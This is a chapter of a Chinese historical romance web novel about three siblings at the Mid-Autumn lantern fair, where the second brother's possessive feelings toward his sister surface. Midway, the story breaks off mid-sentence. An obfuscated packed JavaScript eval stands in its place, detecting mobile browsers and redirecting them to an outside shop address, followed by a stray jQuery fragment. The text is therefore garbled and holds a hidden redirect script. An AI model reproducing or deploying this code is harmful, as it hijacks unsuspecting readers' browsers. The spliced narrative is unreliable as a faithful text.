中秋节那日,时愿命桃桃将绣好的荷包和腰带送了过去。
姜时远回来时,看到荷包,一路鬼叫着朝春落院奔来。
“姜时愿,你拿我的荷包送给我?”姜时远满脸通红,眉毛高高挑起,一脸怒气仿佛快气炸了。
“才不是你的荷包,这是我从我的箱子里取出来的,花是我扎破了好几回手指头绣上去的,怎么会是你的荷包?”时愿坐在梳妆镜前,任桃桃为她梳着发髻,她一边挑着发簪,一边回道。
“这是你之前从我那里抢走的!一模一样!”时远一屁股坐在她边上,桌子被他高大的身形撞开了些。
“这是我绣的!看到没!”时愿伸出手指,指了指墨色荷包上一个细小的白色花瓣。
“这是什么?白色的汤圆?”荷包被时远的指腹捏起,那花瓣绣在荷包最下方,若不是特意翻过来看,一时间真的无法发现。
“你个粗人,不要就还给我!”时愿朝他伸出莹白的手掌。
“要要要,我干嘛不要。”时远探过头,“二哥哥也有吗?”
“嗯,二哥哥的,绣在腰带上。”
“我就知道。”时远有些吃味,从来,他有的,二哥哥一定有,二哥哥有的,他不一定有。
“姜时远,你别这副样子,有些恶心。”时愿看着满脸委屈的时远,往一侧挪了挪。
姜时远失笑,他犯什么傻,那是他们的二哥哥,从小在田庄照顾他们长大的二哥哥,时愿有些偏颇本就正常。
从小,他们打架是二哥哥出头,功课不会了,是二哥哥手把手的教,就连他的武艺,也是二哥哥陪着练出来的。
如今,他居然因为时愿对二哥哥好而吃醋,他是不是傻。
他起身,将藏在身后的锦盒往桌上一扔,趁时愿低头查看时,揉了一把她刚梳好的头,“三哥谢过你了,半个时辰后出发哦!”
姜时愿刚梳好的发髻被揉的一团乱,“姜时远!”
“姑娘,是你上次去玉石斋看的那个簪子!”桃桃在一旁惊喜地叫到。
之前四姑娘在玉石斋看中这个簪子,后来嫌掌柜要价太贵便作罢了。
时愿脸上闪过一抹欣喜,拿起发簪,“桃桃,快帮我戴上,难得姜时远这么大方,别跟他客气!”
听松院
姜砚临轻轻摩挲着墨色腰带上白色的海棠花,将腰带束在腰间。
玉白色的锦袍,仅在袖口绣着些许的暗纹,墨色的腰带勒出他笔直修长的腰线,衬得他如松竹松柏一般。
身后的若影垂下眼眸,主子这来来回回换了四五件衣衫了,这回总算是可以了吧?
姜砚临在发冠上戴了一支白玉发簪,又拿起桌上的锦盒,终于转身离开了房间。
待他走到时愿院外时,时愿清脆的声音传了出来,听着有些急切。
“桃桃,快点啦,待会二哥哥和姜时远该等急了。”说着,脚步急急地往外跑着。
姜砚临站在院中的圆形门庭处,瞧着朝他跑来的姑娘,一身莹白的衣裙在夜色下翻飞着,他心中浮起一抹轻快。
“跑什么?当心摔了又该哭了。”
姜时愿听到声音,抬眸望去,湿漉漉的瞳孔印着月光微微变大。
她一直都知道二哥哥长的极好,即使是满京也找不出几个比她二哥哥更为俊朗的男子。
今日,二哥哥似乎是更加好看了?
她回过神,看着二人颜色相近的衣衫,忽的笑了出来。
“二哥哥好巧,竟与我选了一个颜色的衣衫,这样一出去,人家便知道我们是兄妹啦!”时愿巧笑嫣兮地走近。
“是吗?”姜砚临原本温润的表情变得有些淡淡的,视线定定地落在她微微晃动的发簪上。
发簪上一颗粉白色的宝石在她发间微微反射着月光,他双眸微微眯起,“这个发簪似乎没见你戴过?新得的?”
“这个吗?姜时远送我的,好看吗?”时愿轻轻晃了下脑袋。
姜砚临抬手轻触她的发间,嗓音有些凉,“好看,愿愿戴什么都好看,那要不要看看二哥哥的礼物?”
说着,将手中的锦盒打开,盒中以墨色的绸缎铺底,绸缎上放着两块和田白玉雕琢而成的玉佩,玉佩上刻着一朵盛开的海棠花,与她绣在二哥哥腰带上的海棠如出一撤。
“海棠花!”时愿有些惊喜地拾起玉佩,那玉佩温润如脂,触手生温,时愿看着玉佩背面,分别刻着她和二哥哥的名字。
“二哥哥,我很喜欢,谢谢你。”说着便将那枚刻着“愿”字的玉佩戴在腰间,戴好后,拿着另一枚玉佩看向姜砚临,“二哥哥,那这枚呢?”
另一枚玉佩尺寸略大一些,一看便不是女子佩戴的。
“这是我的,愿愿帮我戴上可好?”姜砚临垂眸看着她葱白指尖的玉佩,喉结微微滚动,双臂敞开,露出腰间的束带。
时愿心跳不由得有些快。
“哦哦,好。”
她将玉佩轻轻穿过姜砚临腰间勒紧的腰带,指尖轻轻擦过他的衣衫,衣衫上一阵微微的寒意透过皮肤传了过来。
二哥哥还在房中置冰吗?衣衫都透着一股寒意。
她微微吐出口气,就这件事,母亲不知说过二哥哥多少回,可就是无法改过来。
她也不知道为何,二哥哥如此执拗,她记得小时候,二哥哥因为受寒生病,烧的人都糊涂了,还喊着不让人将冰撤走,为着此事,向来纯孝的二哥哥不惜忤逆祖父。
没有冰,他就一桶一桶的提水,甚至将自己泡在水中,最后祖父没有办法,只得随了他去。
她小时候不懂事,以为二哥哥是背着她在偷偷玩水,偷偷跑入他房中,还帮着提水,人还没水桶高,水没提起来,倒是将二哥哥的房间撒了一地的水。
她知道二哥哥心中定藏着秘密,只是,连她们也不能告知吗?
她眨了眨眼,将眼中泛起的酸涩掩下,将玉佩挂在衣带的海棠花旁。
“好了,二哥哥,看,多好看!”姜时愿抬起头,脸上尽是明媚的笑容。
“嗯。”姜砚临嗓音有些微哑,“谢谢愿愿。”
“二哥哥莫不是傻了,这是你送给我的礼物呀,合该是我谢谢你呀!”
几人坐着马车来到街上时,原本宽敞的街道,今日竟熙熙攘攘全是人。
时愿刚跳下马车,便看到陆晚晚站在玉石斋门口的身影。
“晚晚,这里!”她跑上前去,牵起陆晚晚的手。
“晚晚,你瞧,这是姜时远,我的同胞弟弟。”时愿说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183112|196981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的很快,不给姜时远插嘴的机会,“这是我二哥哥,姜砚临。”
晚晚眼眸垂着,甚至不太敢正视面前的二人,低着头,轻轻拂了一礼。
姜时远双目微睁,凶巴巴地盯着姜时愿,晚晚一见,更是紧张往时愿背后躲去。
“姜时远,你收敛些,吓着晚晚了。”时愿握着晚晚的手,轻声安抚着,“没事,他就是个纸老虎,你别理他。”
“哎!我……”时远见陆晚晚满脸苍白,躲在时愿身后几乎快缩成团,有些手足无措。
他常年在军营里,粗鲁惯了,姜时愿也不需要他多温柔,对上这样随时一副快昏厥的小姑娘,他确实不知如何是好。
“走吧,前面的灯会要开始了。”姜砚临打断二人,嗓音淡淡的,似是没有情绪。
“好,晚晚,我们走。”时愿挽着晚晚,随着人群往前走去。
姜砚临在她们身后慢慢踱步,视线冷冷地落在前面二人交握的手臂处,二人亲密的贴着脸,不知讲了什么,脸上都浮起了轻快的笑。
甚至没有回头看一眼他有没有在。
与几年前,那个走哪都要拉着他的小时愿,不一样了。
他有些烦躁,心中那股妄念愈发滋长起来,喧嚣着将他吞没。
陆晚晚不知怎的,后背一股股寒意升起,在这微凉的初秋里,她竟有些不寒而栗。
可转头看去,可背后只有姜砚临和姜时远。
姜砚临一身白衣,步态从容,看似闲散,但是,晚晚隐隐觉得,他的视线,没有一刻从时愿身上离开过。
她心中一抹感觉闪过,不待细想,姜时远打断了她的思绪。
“姜时愿,你能不能少买点了!”
姜时远左手一个锦盒,右手两个灯笼,脸上还带着个面具。
“那你叫二哥哥帮忙拿啊!”时愿拉着晚晚往一旁卖香囊的小摊跑去。
两个小姑娘挤在小小的摊位前,左挑右选,几乎看花了眼。
姜时远看了一眼身旁正在递钱给小贩二哥哥,咬咬牙!
结账他抢不过二哥哥,连搬东西都要被二哥哥抢走的话,时愿更不认他是哥哥了!
姜砚临唇角微微翘起,拿过姜时远手上的锦盒,无奈地摇了摇头。
“两位姑娘,这香囊都是老婆子我自己做的,花样都是京里时兴的很,用来配衣服啊,送夫婿最好不过了!”
那婆子的视线落到她们身后的人身上。
“哎呦,后头这位跟姑娘是龙凤胎吧!”那婆子脸上笑的眉眼皆无,“这还是老婆子第一次见到长得这样俊俏的双胎呢!姑娘真是好福气。”
时愿微微有些尴尬,她们二人走到哪都要被人评头论足一番,即使这么多年了,她也没有办法从容地应对。
那婆子压低了声音,“后头那位公子,是你们谁的夫婿呀?”
陆晚晚和姜时愿同时将手摆的如同拨浪鼓一般。
“不是,不是,这是我(她)兄长!”
姜砚临视线落在时愿那满脸惶恐的脸上,仿佛,这是一件多么不能接受的事情一般。
脸色不由得一沉。
“时愿,挑好了就走了。”视线有些冷冷的。
那婆子一见,忙低下头,不敢再多问。